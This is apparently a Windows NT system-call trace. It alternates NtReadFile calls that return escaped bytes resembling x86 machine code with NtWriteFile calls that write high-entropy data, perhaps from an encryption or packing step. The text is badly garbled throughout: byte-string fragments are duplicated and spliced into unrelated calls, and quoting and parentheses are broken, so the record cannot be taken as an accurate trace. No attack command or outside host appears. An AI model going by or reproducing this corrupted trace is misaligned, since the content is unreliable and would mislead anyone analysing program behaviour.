\374N\241\313\330\305\275\255,\13Jg6\302V\204\14\20Q\331b`\206\224\6a;I\206\255P\373pPK\7\243\321\357\212\377\302z\377\363\303w\277\331\272fI\16LtJc\2559\263\264\376\367\251\321\15F\26\34\357\203\230o\211H\322\355\36\266\36I\7\374Xn\265d\223o\227K\333\335\8\351M\253\3402\247F\216;\304\203\3570\353\12x\352\206\\323>\232\204\350i\365o>\232\34\262!D\25n\370*D\336\11G\4\255-3\2560M?4\11O\256\37I\363=W\0\234\252\211\11\27\27TP\\227JL@\224\35\315\10\351\326\334e\30\227s\245\32\6dK\335.\237\315Q\2529.\256\215\35\205^\23\202T\255\263\240Q\253\244\205\350\321\220\26C\210\231\351\5\335R\25\266\377\10JL\245\206\243\256m\244\37\272:K\10]Yw\337%\6\31\2122\266/\244\237\300PL\372n\250\345r\370\374\333.J{\244\373U\206Oi\21\307Cz\307\20\267\257\12\341\3447\27\344N\214\370\257\352\335\253T\275\332\27\246\314Q\205\324\222\316\317\201+\24 (92, 0, 0, 0, "\1\354\26\36t\245_\13W\225\36\333+\334\312B\11\179e\35\370\205yl\12\211\357\33mS\237Bor\37l"\374N\241\313\330\305\275\255,\13Jg6\302V\204\14\20Q\331b`\206\224\6a;I\206\255P\373pPK\7\243\321\357\212\377\302z\377\363\303w\277\331\272fI\16LtJc\2559\263\264\376\367\251\321\15F\26\34\357\203\230o\211H\322\355\36\266\36I\7\374Xn\265d\223o\227K\333\335\8\351M\253\3402\247F\216;\304\203\3570\353\12x\352\206\\323>\232\204\350i\365o>\232\34\262!D\25n\370*D\336\11G\4\255-3\2560M?4\11O\256\37I\363=W\0\234\252\211\11\27\27TP\\227JL@\224\35\315\10\351\326\334e\30\227s\245\32\6dK\335.\237\315Q\2529.\256\215\35\205^\23\202T\255\263\240Q\253\244\205\350\321\220\26C\210\231\351\5\335R\25\266\377\10JL\245\206\243\256m\244\37\272:K\10]Yw\337%\6\31\2122\266/\244\237\300PL\372n\250\345r\370\374\333.J{\244\373U\206Oi\21\307Cz\307\20\267\257\12\341\3447\27\344N\214\370\257\352\335\253T\275\332\27\246\314Q\205\324\222\316\317\201+\24"\210^S\327\356\261pO\300\370\30Z\253\\201\362]Z\302\253\356\367w\31\363\331\372X\260an\231\264\336.\0\13\20100\335\321\356\325Z\32\351\357)\13 \16!\227<\232\201E.\310\244\263\266\256g\312\310\276s>\251\354\343\13\365>Z\16C\2732\377i\16\371\273\25P\263\372\217\;]\225\225\327\331\3\201\364\372!\212\334\3226z3-\345~\210\266\305\246\35\222\206)x!\317\3251|\11\355"W\232N\371:#\247\217\361|\200\246\2\263\336\35T\371\266\311d\207\5\262\323\205\30\16", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) W\232N\371:#\247\217\361|\200\246\2\263\336\35T\371\266\311d\207\5\262\323\205\30\16", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01006  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "U\364\351[\2\0\0\213E\374\213@\103\322\211E\360\211U\364\351H\2\0\0\213E\374\213P\10\211U\360\213P\14\211U\364\3514\2\0\0\213E\374\213@\10\350'\376\377\377\211E\360\211U\364\351\36\2\0\0\213E\374\350\260\373\377\377\211E\360\211U\364\351\13\2\0\0\213U\374\213\320f\201\352\0\1t\7f\377\312t\25\353&\213E\374\3506\374\377\377\211E\360\211U\364\351\345\1\0\0\213E\374\350#\375\377\377\211E\360\211U\364\351\322\1\0\0\213U\374\366\304@\17\204\251\1\0\0\213U\374\17\267\300%\377\277\377\377\203\370\24\17\207\205\1\0\0\377$\205\267\372\0@5\374\0@5\374\0@\13\373\0@ \373\0@4\373\0@L\373\0@d\373\0@\202\373\0@\232\373\0@5\374\0@5\374\0@\255\373\0@"\374\0@5\374\0@5\374\0@5\374\0@\302\373\0@\327\373\0@\352\373\0@\375\373\0@\17\374\0@\213E\374\213@\10\17\277\0\231\211E\360\211U\364\351B\1\0\0\213E\374\213@\10\213\0\231\211E\360\211U\364\351.\1\0\0\213E\374\213@\10\331\0\350g5\377\377\211E\360\211U\364\351\26\1\0\0\213E\374\213@\10\335\0\350O5\377\377\211E\360\211U\364\351\376\0\0\0\213E\374\213@\10\337(\3305\240\374\0@\35015\377\377\211E\360\211U\364\351\340\0\0\0\213E\374\213@\10\335\0\350\315\377\377\211E\360\211U\364\351\310\0\0\0\213E\374\350\6\373\377\377\211E\360\211U\364\351\265\0\0\0\213E\374\213@\10\17\277\0\231\211E\360\211U\364\351\240\0\0\0\213E\374\213@\10\17\276\0\231\211E\360\211U\364\351\213\0\0\0\213E\374\213@\10\17\266\03\322\211E\360\211U\364\353x\213E\374\213@\10\17\267\03", ) \374\0@5\374\0@5\374\0@5\374\0@\302\373\0@\327\373\0@\352\373\0@\375\373\0@\17\374\0@\213E\374\213@\10\17\277\0\231\211E\360\211U\364\351B\1\0\0\213E\374\213@\10\213\0\231\211E\360\211U\364\351.\1\0\0\213E\374\213@\10\331\0\350g5\377\377\211E\360\211U\364\351\26\1\0\0\213E\374\213@\10\335\0\350O5\377\377\211E\360\211U\364\351\376\0\0\0\213E\374\213@\10\337(\3305\240\374\0@\35015\377\377\211E\360\211U\364\351\340\0\0\0\213E\374\213@\10\335\0\350\315\377\377\211E\360\211U\364\351\310\0\0\0\213E\374\350\6\373\377\377\211E\360\211U\364\351\265\0\0\0\213E\374\213@\10\17\277\0\231\211E\360\211U\364\351\240\0\0\0\213E\374\213@\10\17\276\0\231\211E\360\211U\364\351\213\0\0\0\213E\374\213@\10\17\266\03\322\211E\360\211U\364\353x\213E\374\213@\10\17\267\03", ) == 0x0
 01007  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "1GU\31V\22\260\26\363\314j\277\7\370\22O\302\304YO\225\\210\3406\307=\12\14\200"\362b\247\270\251\362s\265j2\323\252E\367\271\211\304>y8\230eO\272Pn\367\342\11\241\226\271\3\262Ad\325\344\200\30d\348\22\321\224\366\10"\315\357\266\221\242S\355\24\273\213\204\230\347\343%\215\221og"\213\33UU\366\13o\243\253\2B\312;MB\370\201\206!\201\16\2454;>\217p\347\352by{t\253\11\32@\200\33P)[\34\354\326\241?\367~\324\355X\223?\226\340\255\325\3%1\206\364\312\246\20[[\362\245)C\376\223\14\234\362\3564f'/\271\363\257\3003}\331\17ThE\352\252\264\251\332\\376\306lg\377\262\7\200}"\303\257L\2135\330\11#\332o+\305\275rHF\0\307\343\221\177\347Wz\220\304\206\314\332\15j\200\303\25\245\7\372'\15w\3705*N>\358\355C\317\20z\12\205\7At\275\362P\347\16 \2737\225\221{\375!\265F4\10 1p^\233\331\6y\212i\364\244\202\333\2454Kv_E\220K\214q\267D\331F\245/3K\243\234\235\312\321~A\244\231\357\226\232\235\204-P\300\242\2647\326\274|\2761\261bV\274W1\226\215\220\323\3541\321\317H\13\325\355\226w\202%\355\221\232\37\32K\314fPc\275&o\2769\332\212\347\241EE\3552\210V\327\10\13\20C,ZY\246\215\364=/\255\277\317X\247\25B3\233\303\346\11lC.\377e\245\253\20\270\2057_\266\207U\206\22\207{+\267P\316h\347a\355\3415\342nA\240\34\17\344\377d\125|s;\264\374a)Di\267\37C\324\331\263\202\236\331\316\2124\226WSX?7\3421\237\233\217\326\341\245u\204d\330\3073\23b{\247\254\221}", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \362b\247\270\251\362s\265j2\323\252E\367\271\211\304>y8\230eO\272Pn\367\342\11\241\226\271\3\262Ad\325\344\200\30d\348\22\321\224\366\10 (92, 0, 0, 0, "1GU\31V\22\260\26\363\314j\277\7\370\22O\302\304YO\225\\210\3406\307=\12\14\200"\362b\247\270\251\362s\265j2\323\252E\367\271\211\304>y8\230eO\272Pn\367\342\11\241\226\271\3\262Ad\325\344\200\30d\348\22\321\224\366\10"\315\357\266\221\242S\355\24\273\213\204\230\347\343%\215\221og"\213\33UU\366\13o\243\253\2B\312;MB\370\201\206!\201\16\2454;>\217p\347\352by{t\253\11\32@\200\33P)[\34\354\326\241?\367~\324\355X\223?\226\340\255\325\3%1\206\364\312\246\20[[\362\245)C\376\223\14\234\362\3564f'/\271\363\257\3003}\331\17ThE\352\252\264\251\332\\376\306lg\377\262\7\200}"\303\257L\2135\330\11#\332o+\305\275rHF\0\307\343\221\177\347Wz\220\304\206\314\332\15j\200\303\25\245\7\372'\15w\3705*N>\358\355C\317\20z\12\205\7At\275\362P\347\16 \2737\225\221{\375!\265F4\10 1p^\233\331\6y\212i\364\244\202\333\2454Kv_E\220K\214q\267D\331F\245/3K\243\234\235\312\321~A\244\231\357\226\232\235\204-P\300\242\2647\326\274|\2761\261bV\274W1\226\215\220\323\3541\321\317H\13\325\355\226w\202%\355\221\232\37\32K\314fPc\275&o\2769\332\212\347\241EE\3552\210V\327\10\13\20C,ZY\246\215\364=/\255\277\317X\247\25B3\233\303\346\11lC.\377e\245\253\20\270\2057_\266\207U\206\22\207{+\267P\316h\347a\355\3415\342nA\240\34\17\344\377d\125|s;\264\374a)Di\267\37C\324\331\263\202\236\331\316\2124\226WSX?7\3421\237\233\217\326\341\245u\204d\330\3073\23b{\247\254\221}", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \213\33UU\366\13o\243\253\2B\312;MB\370\201\206!\201\16\2454;>\217p\347\352by{t\253\11\32@\200\33P)[\34\354\326\241?\367~\324\355X\223?\226\340\255\325\3%1\206\364\312\246\20[[\362\245)C\376\223\14\234\362\3564f'/\271\363\257\3003}\331\17ThE\352\252\264\251\332\\376\306lg\377\262\7\200} (92, 0, 0, 0, "1GU\31V\22\260\26\363\314j\277\7\370\22O\302\304YO\225\\210\3406\307=\12\14\200"\362b\247\270\251\362s\265j2\323\252E\367\271\211\304>y8\230eO\272Pn\367\342\11\241\226\271\3\262Ad\325\344\200\30d\348\22\321\224\366\10"\315\357\266\221\242S\355\24\273\213\204\230\347\343%\215\221og"\213\33UU\366\13o\243\253\2B\312;MB\370\201\206!\201\16\2454;>\217p\347\352by{t\253\11\32@\200\33P)[\34\354\326\241?\367~\324\355X\223?\226\340\255\325\3%1\206\364\312\246\20[[\362\245)C\376\223\14\234\362\3564f'/\271\363\257\3003}\331\17ThE\352\252\264\251\332\\376\306lg\377\262\7\200}"\303\257L\2135\330\11#\332o+\305\275rHF\0\307\343\221\177\347Wz\220\304\206\314\332\15j\200\303\25\245\7\372'\15w\3705*N>\358\355C\317\20z\12\205\7At\275\362P\347\16 \2737\225\221{\375!\265F4\10 1p^\233\331\6y\212i\364\244\202\333\2454Kv_E\220K\214q\267D\331F\245/3K\243\234\235\312\321~A\244\231\357\226\232\235\204-P\300\242\2647\326\274|\2761\261bV\274W1\226\215\220\323\3541\321\317H\13\325\355\226w\202%\355\221\232\37\32K\314fPc\275&o\2769\332\212\347\241EE\3552\210V\327\10\13\20C,ZY\246\215\364=/\255\277\317X\247\25B3\233\303\346\11lC.\377e\245\253\20\270\2057_\266\207U\206\22\207{+\267P\316h\347a\355\3415\342nA\240\34\17\344\377d\125|s;\264\374a)Di\267\37C\324\331\263\202\236\331\316\2124\226WSX?7\3421\237\233\217\326\341\245u\204d\330\3073\23b{\247\254\221}", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01008  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\353\360\17\266E\377[\213\345]\303SVW\203\304\354\213\372\213\360\213\324\17\267\6\350x/\0\0\213\330\204\333t&\215D$\4P\350\250\317\377\377j\13\213\316\215T$\10\213D$\4\2130\377V\34f\203|$\14\1\33\300@\210\7\213\303\203\304\24_^[\303\215@\0SQ\213\330\17\267\3\17\267\320\203\372\24\17\207~\1\0\0\377$\225r\376\0@\306\376\0@\317\376\0@\356\376\0@\374\376\0@\11\377\0@\37\377\0@5\377\0@K\377\0@a\377\0@\332\377\0@\351\377\0@p\377\0@\312\377\0@\332\377\0@\351\377\0@\351\377\0@\200\377\0@\215\377\0@\232\377\0@\250\377\0@\265\377\0@\306\4$\0\351\317\2\0\0\200=\20\252\1@\0t\15f\272\13\0f\270\1\0\350\17\335\377\377\306\4$\0\351\260\2\0\0f\203{\10\0\17\225\4$\351\242\2\0\0\203{\10\0\17\225\4$\351\225\2\0\0\331C\10\330\35\250\1\1@\233\337\340\236\17\225\4$\351\177\2\0\0\335C\10\330\35\250\1\1@\233\337\340\236\17\225\4$\351i\2\0\0\337k\10\330\35\250\1\1@\233\337\340\236\17\225\4$\351S\2\0\0\335C\10\330\35\250\1\1@\233\337\340\236\17\225\4$\351=\2\0\0\213\303\350<\375\377\377\210\4$\351.\2\0\0f\203{\10\1\33\300@\210\4$\351\36\2\0\0\200{\10\0\17\225\4$\351\21\2\0\0\200{\10\0\17\225\4$\351\4\2\0\0f\203{\10\0\17\225\4$\351\366\1\0\0\203{\10\0\17\225\4$\351\351\1\0\0\203{\14\0u\4\203{\10\0\17\225\300\210\4$\351\324\1\0\0\213C\10\350\206\376\377\377\210\4$\351\304\1\0\0\213\303\350\207\375\377\377\210\4$\351\265\1\0\0\213\320f\201\352\0\1t\7f\377", ) , ) == 0x0
 01009  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "C>\324\375\347\20`D\347Q\305Cw\332:\3\276\252\217f\275\254\211|\220\345z\217\264$)4\5\304y\32\236K\234\236\226\13\214l\0K\3\25\261\37\273\302l\335\323\25'2c\241\324\266\321JP\356\256\261\3376\363\30\273^\27!T\330\3576\3C6tG\241l\263\360\5\307\20x\220\227\22#\2054e<\201\351\303\336\340c\24g:r\306g(A{3g\15m\272\317\221\264\14\33\327\340\325\247\31\374\340x\366>$\270i\233\261\305\363\26p\300\3\273:m\233=\367\337g\233\3\273&\305\202\242\221\327\266\377g\26\177q'\325<{)\340]\277Y\253\215\275\2205\223t\254T\330)\265= KM\251x\217\273\235l\223y\215\332\366\15\334b\361\236P\17\7}\13u\355\14j\261K\305\340\362R\354\0\207\323\316\217H\24\24\230\206E1\251/\372]\304\236\227\340\2U\330gqX#`\27\356L\202\201\366Wm\207"\201\354;\254|\274\302'\12\302\261\324\2444\230_'\24\247i=\241\22\301\0\330\32\250D\353`a5\376IM\14o\350\26r\\324+\206\315\277M\13\306\253\244\253\304(DQ7\257\265\377C7\341\343\214\345\257\\225\371\214&x\35\310h\6~\376\342r\223\3405\3\353\303\230\353^\370]\317\227\366\202\317\33@\277\4\204\334\3760\362 &\331"\225\3\233\277\312\3068\276\10I\226Q\30\273\304\4\261\26%H\2655\14T\220K3=7\336YRcT'1\266E\332\12/\232\243}\224*]C\33\304\216\24\246\276=\311Ui\36\311\202\1Y\21A]\276\6wG\221\277J\355\204@\6X\177\22\363\255\355!e2\302<\322x\11\32\377\10\304H\5P\3\211[Q\222\30'\327\305\200\331b^\221No\330\204'{A"\303J\370\341", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \201\354;\254|\274\302'\12\302\261\324\2444\230_'\24\247i=\241\22\301\0\330\32\250D\353`a5\376IM\14o\350\26r\\324+\206\315\277M\13\306\253\244\253\304(DQ7\257\265\377C7\341\343\214\345\257\\225\371\214&x\35\310h\6~\376\342r\223\3405\3\353\303\230\353^\370]\317\227\366\202\317\33@\277\4\204\334\3760\362 &\331 (92, 0, 0, 0, "C>\324\375\347\20`D\347Q\305Cw\332:\3\276\252\217f\275\254\211|\220\345z\217\264$)4\5\304y\32\236K\234\236\226\13\214l\0K\3\25\261\37\273\302l\335\323\25'2c\241\324\266\321JP\356\256\261\3376\363\30\273^\27!T\330\3576\3C6tG\241l\263\360\5\307\20x\220\227\22#\2054e<\201\351\303\336\340c\24g:r\306g(A{3g\15m\272\317\221\264\14\33\327\340\325\247\31\374\340x\366>$\270i\233\261\305\363\26p\300\3\273:m\233=\367\337g\233\3\273&\305\202\242\221\327\266\377g\26\177q'\325<{)\340]\277Y\253\215\275\2205\223t\254T\330)\265= KM\251x\217\273\235l\223y\215\332\366\15\334b\361\236P\17\7}\13u\355\14j\261K\305\340\362R\354\0\207\323\316\217H\24\24\230\206E1\251/\372]\304\236\227\340\2U\330gqX#`\27\356L\202\201\366Wm\207"\201\354;\254|\274\302'\12\302\261\324\2444\230_'\24\247i=\241\22\301\0\330\32\250D\353`a5\376IM\14o\350\26r\\324+\206\315\277M\13\306\253\244\253\304(DQ7\257\265\377C7\341\343\214\345\257\\225\371\214&x\35\310h\6~\376\342r\223\3405\3\353\303\230\353^\370]\317\227\366\202\317\33@\277\4\204\334\3760\362 &\331"\225\3\233\277\312\3068\276\10I\226Q\30\273\304\4\261\26%H\2655\14T\220K3=7\336YRcT'1\266E\332\12/\232\243}\224*]C\33\304\216\24\246\276=\311Ui\36\311\202\1Y\21A]\276\6wG\221\277J\355\204@\6X\177\22\363\255\355!e2\302<\322x\11\32\377\10\304H\5P\3\211[Q\222\30'\327\305\200\331b^\221No\330\204'{A"\303J\370\341", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \303J\370\341", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01010  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "B\215E\334\213U\374\350\0I\377\377\213E\334\215U\340\350]\214\377\377\204\300t\11\333m\340\335]\360\233\353\37\17\267\23f\271\5\0\270\5\0\2\200\350\377\335\377\377\353\14\17\267\23f\271\5\0\350\361\335\377\3773\300ZYYd\211\20hh\2\1@\215E\334\350,F\377\377\215E\374\350\250M\377\377\303\351\236?\377\377\353\350\335E\360[\213\345]\303S\203\304\350\213\330\215D$\10P\350X\313\377\377j\5j\0h\0\4\0\0S\215D$\30P\241d\260\1@\213\0\377\320\17\267\23f\271\5\0\350\220\335\377\377\213D$\20\211\4$\213D$\24\211D$\4\335\4$\203\304\30[\303\220U\213\354\203\304\350S\213\330\215E\350P\350\12\313\377\3773\300Uh\21\3\1@d\3770d\211 \213\323\215E\350\350\32\344\377\377\215E\350\377\25\234\362\1@\215E\350\350u\0\0\0\335]\370\2333\300ZYYd\211\20h\30\3\1@\215E\350\350\310\340\377\377\303\351\356>\377\377\353\360\335E\370[\213\345]\303SVW\203\304\354\213\372\213\360\213\324\17\267\6\350d*\0\0\213\330\204\333t(\215D$\4P\350\224\312\377\377j\5\213\316\215T$\10\213D$\4\2130\377V\34\213D$\14\211\7\213D$\20\211G\4\213\303\203\304\24_^[\303\220S\203\304\354\213\330\17\267\3\17\267\320\203\372\24\17\207\222\1\0\0\377$\225\210\3\1@\334\3\1@\352\3\1@\16\4\1@\32\4\1@&\4\1@2\4\1@D\4\1@V\4\1@h\4\1@\3\5\1@\23\5\1@x\4\1@\362\4\1@\3\5\1@\23\5\1@\23\5\1@\215\4\1@\242\4\1@\267\4\1@\314\4\1@\346\4\1@3\300\211\4$\211D$\4\351\356\2\0\0\200=\20\252\1@\0t\15f", ) , ) == 0x0
 01011  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "p\354\32\302\21\213q&\22\17\374\335+\22\350m\230\357\337\216\307\224\352\224\201\316\314?S\270_'\210\257\213\214\262LrN\3255\353c\254@%\247\353M.=\355\223f\212a.\14\20L;\312~\200|W\351I\23\33\246c^m\237\201\227Q]9\313\377\20565\355\3165\33\363\306\244\344=\360E\310QgR\336\337,\21\235\212x\7\216\222\33%S\215\260\333\344\260h\274b\364O~\231\363A\272ep;Kxy\13N\221\270s|"(\33\23\3757y)!\360\273\210\35A\207n\21$\377\362J\243\31/\271P\362n\354\261\316\376S\23{{3x\240?%}\226\231\23\350h\310\203\271x\13C\227m\23"\316?R\352\0\2029[\2R\362?\346\360\355\254\15\261]\252\331s\33\0"\240q\242\263{I^\217;s\356K\231\245\277nj\237k\251P\332%\272\257Cg\271\301\201\246\23&\25\1$\334\350\2600#:7\263\330\210c\302b\341+&\337\33\210\326\247q\35\371\273\345Nk\232\303\364\367(\234\341j\244\206R\177\254\13[mW\377\216\312\217P\247@\6b[\177\305\33\323\355\342\246wk\202\366I\0\367\250&\370A\266\4\306v\205H\225\316\323,\30\304LXd\355\34\233\235\244\356\265\253(\212\266\206\330\340R.\272E\250}\375n,\277\245\365?\31\256\342Q\16\240#\3577d[\261\345\313\352|\2341y\256\307\306;\27\322\31\357d\16\322e\227\202\325\15\14\247`\242\334\207(\200\343c\3a.q\372\346\345\257xk]\330\31\31j\15\303\213$\312\15<\227@3\354\366\16]\274\374}\246\372\33\233\371\10\35\365\302\13\17\21Ze\302A!X\15\17\\262\260Ci4\31,\252\341|\316]$Z\222\354}@\207\251\23\206z\15\327", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) (\33\23\3757y)!\360\273\210\35A\207n\21$\377\362J\243\31/\271P\362n\354\261\316\376S\23{{3x\240?%}\226\231\23\350h\310\203\271x\13C\227m\23 (92, 0, 0, 0, "p\354\32\302\21\213q&\22\17\374\335+\22\350m\230\357\337\216\307\224\352\224\201\316\314?S\270_'\210\257\213\214\262LrN\3255\353c\254@%\247\353M.=\355\223f\212a.\14\20L;\312~\200|W\351I\23\33\246c^m\237\201\227Q]9\313\377\20565\355\3165\33\363\306\244\344=\360E\310QgR\336\337,\21\235\212x\7\216\222\33%S\215\260\333\344\260h\274b\364O~\231\363A\272ep;Kxy\13N\221\270s|"(\33\23\3757y)!\360\273\210\35A\207n\21$\377\362J\243\31/\271P\362n\354\261\316\376S\23{{3x\240?%}\226\231\23\350h\310\203\271x\13C\227m\23"\316?R\352\0\2029[\2R\362?\346\360\355\254\15\261]\252\331s\33\0"\240q\242\263{I^\217;s\356K\231\245\277nj\237k\251P\332%\272\257Cg\271\301\201\246\23&\25\1$\334\350\2600#:7\263\330\210c\302b\341+&\337\33\210\326\247q\35\371\273\345Nk\232\303\364\367(\234\341j\244\206R\177\254\13[mW\377\216\312\217P\247@\6b[\177\305\33\323\355\342\246wk\202\366I\0\367\250&\370A\266\4\306v\205H\225\316\323,\30\304LXd\355\34\233\235\244\356\265\253(\212\266\206\330\340R.\272E\250}\375n,\277\245\365?\31\256\342Q\16\240#\3577d[\261\345\313\352|\2341y\256\307\306;\27\322\31\357d\16\322e\227\202\325\15\14\247`\242\334\207(\200\343c\3a.q\372\346\345\257xk]\330\31\31j\15\303\213$\312\15<\227@3\354\366\16]\274\374}\246\372\33\233\371\10\35\365\302\13\17\21Ze\302A!X\15\17\\262\260Ci4\31,\252\341|\316]$Z\222\354}@\207\251\23\206z\15\327", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \240q\242\263{I^\217;s\356K\231\245\277nj\237k\251P\332%\272\257Cg\271\301\201\246\23&\25\1$\334\350\2600#:7\263\330\210c\302b\341+&\337\33\210\326\247q\35\371\273\345Nk\232\303\364\367(\234\341j\244\206R\177\254\13[mW\377\216\312\217P\247@\6b[\177\305\33\323\355\342\246wk\202\366I\0\367\250&\370A\266\4\306v\205H\225\316\323,\30\304LXd\355\34\233\235\244\356\265\253(\212\266\206\330\340R.\272E\250}\375n,\277\245\365?\31\256\342Q\16\240#\3577d[\261\345\313\352|\2341y\256\307\306;\27\322\31\357d\16\322e\227\202\325\15\14\247`\242\334\207(\200\343c\3a.q\372\346\345\257xk]\330\31\31j\15\303\213$\312\15<\227@3\354\366\16]\274\374}\246\372\33\233\371\10\35\365\302\13\17\21Ze\302A!X\15\17\\262\260Ci4\31,\252\341|\316]$Z\222\354}@\207\251\23\206z\15\327", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01012  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "@\335\34$\233\351\316\0\0\0\213C\10\213\20\211\24$\213P\4\211T$\4\351\272\0\0\0\213\303\350\207\373\377\377\335\34$\233\351\252\0\0\0\213C\10\17\277\0\211D$\10\333D$\10\335\34$\233\351\223\0\0\0\213C\10\17\276\0\211D$\10\333D$\10\335\34$\233\353\177\213C\10\17\266\0\211D$\10\333D$\10\335\34$\233\353k\213C\10\17\267\0\211D$\10\333D$\10\335\34$\233\353W\213C\10\213\0\211D$\143\300\211D$\20\337l$\14\335\34$\233\353>\213C\10\337(\335\34$\233\3533\213C\10\350\277\374\377\377\335\34$\233\353%\213\303\350\266\373\377\377\335\34$\233\353\30\213\324\213\303\350W\374\377\377\204\300u\13\213\303\350\234\373\377\377\335\34$\233\335\4$\203\304\24[\303\0@\34FU\213\354\203\304\354SVW\211E\374\213E\374\17\267\0\203\370\24\17\207&\1\0\0\377$\205\6\7\1@Z\7\1@d\7\1@\204\7\1@\223\7\1@\242\7\1@%\10\1@%\10\1@%\10\1@%\10\1@%\10\1@%\10\1@\260\7\1@%\10\1@%\10\1@%\10\1@%\10\1@\306\7\1@\334\7\1@\357\7\1@\2\10\1@\31\10\1@3\300\211E\370\351\3\1\0\0\200=\20\252\1@\0t\15f\272\4\0f\270\1\0\350z\324\377\3773\300\211E\370\351\343\0\0\0\213E\374\337@\10\331]\370\233\351\324\0\0\0\213E\374\333@\10\331]\370\233\351\305\0\0\0\213E\374\213@\10\211E\370\351\267\0\0\0\213E\374\17\277@\10\211E\364\333E\364\331]\370\233\351\241\0\0\0\213E\374\17\276@\10\211E\364\333E\364\331]\370\233\351\213\0\0\0\213E\374\17\266@\10\211E\364\333E\364\331]\370\233\353x\213E\374\17\267", ) , ) == 0x0
 01013  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "]\274957\2\344\24\5\267u\14\7\26'\335wxS\364|\364\324\2762\364\341k\14m\257\3122E':f\3064\251\211\1\342- 0\317\274\300\7\237\275\303\26\223u\231\254b\230\3753\31\15]y\3127\276\233T\327\317\244\10q\216G\321\320i\375\206\320\240\\205\30\341O\316\200\252 \316I\35y\238.G\331\7\260\14\11j1\331>jq>\262\27X\221\245?;\257,b\273H\350nTZM\377\3549\361w1\214j[\236tE\315\367\252w\315\7\2250\357\25se\275#]\322b\217.I\31\341\274r\340\313v\323\267\15\231tv\366_\153,\273\346$<\225*\325\346\244[7~\247\37\306\250\5\271\245\5\24^\352\356\225\272%\212\361\362\2758\245{N\276O\330\274\25_\245\356\355\321i\27d'kH\30\347\307L\5\363/}\354\216\310\252\20\311\325\37a\\362e\276\14P\3533%\311\306Q\246\360~\15K\36Nv6\346g\310\31&\376d\301=\265\264x\255\224\215\271\200\3751\321d<\203|\345?\366\210J\376\220xA?\225\212\200\243}\257\303\203\242\356\207\11[\20\250\301)q^\261\277\177W\26\334j\263\235\233\12\12\333\213\347I\17\314\211\255\216$\6oH2-?\10\220\1HWyi\233!\247\\276cXW\276\270\344p\326\17"k\20\313\23/aY\217\316\177\3364\353\275\305\250\27EQbL\276\214M\227\2486\263<\241\10\273\0.&\177\3\225\25\22\361\212\21r\254\260{\335\205\371\224)\236g=\177\210\16 dV\273\274\255\336f\21\5\351=OQ\226\243Ua\222$\200\40\370\274\260\223\321fz\4NT\275\244g\201c\27\234B<\211M2'\11\370\2565\263"\272\276:\343\214J\305bO\\253U1\377", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) k\20\313\23/aY\217\316\177\3364\353\275\305\250\27EQbL\276\214M\227\2486\263<\241\10\273\0.&\177\3\225\25\22\361\212\21r\254\260{\335\205\371\224)\236g=\177\210\16 dV\273\274\255\336f\21\5\351=OQ\226\243Ua\222$\200\40\370\274\260\223\321fz\4NT\275\244g\201c\27\234B<\211M2'\11\370\2565\263 (92, 0, 0, 0, "]\274957\2\344\24\5\267u\14\7\26'\335wxS\364|\364\324\2762\364\341k\14m\257\3122E':f\3064\251\211\1\342- 0\317\274\300\7\237\275\303\26\223u\231\254b\230\3753\31\15]y\3127\276\233T\327\317\244\10q\216G\321\320i\375\206\320\240\\205\30\341O\316\200\252 \316I\35y\238.G\331\7\260\14\11j1\331>jq>\262\27X\221\245?;\257,b\273H\350nTZM\377\3549\361w1\214j[\236tE\315\367\252w\315\7\2250\357\25se\275#]\322b\217.I\31\341\274r\340\313v\323\267\15\231tv\366_\153,\273\346$<\225*\325\346\244[7~\247\37\306\250\5\271\245\5\24^\352\356\225\272%\212\361\362\2758\245{N\276O\330\274\25_\245\356\355\321i\27d'kH\30\347\307L\5\363/}\354\216\310\252\20\311\325\37a\\362e\276\14P\3533%\311\306Q\246\360~\15K\36Nv6\346g\310\31&\376d\301=\265\264x\255\224\215\271\200\3751\321d<\203|\345?\366\210J\376\220xA?\225\212\200\243}\257\303\203\242\356\207\11[\20\250\301)q^\261\277\177W\26\334j\263\235\233\12\12\333\213\347I\17\314\211\255\216$\6oH2-?\10\220\1HWyi\233!\247\\276cXW\276\270\344p\326\17"k\20\313\23/aY\217\316\177\3364\353\275\305\250\27EQbL\276\214M\227\2486\263<\241\10\273\0.&\177\3\225\25\22\361\212\21r\254\260{\335\205\371\224)\236g=\177\210\16 dV\273\274\255\336f\21\5\351=OQ\226\243Ua\222$\200\40\370\274\260\223\321fz\4NT\275\244g\201c\27\234B<\211M2'\11\370\2565\263"\272\276:\343\214J\305bO\\253U1\377", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
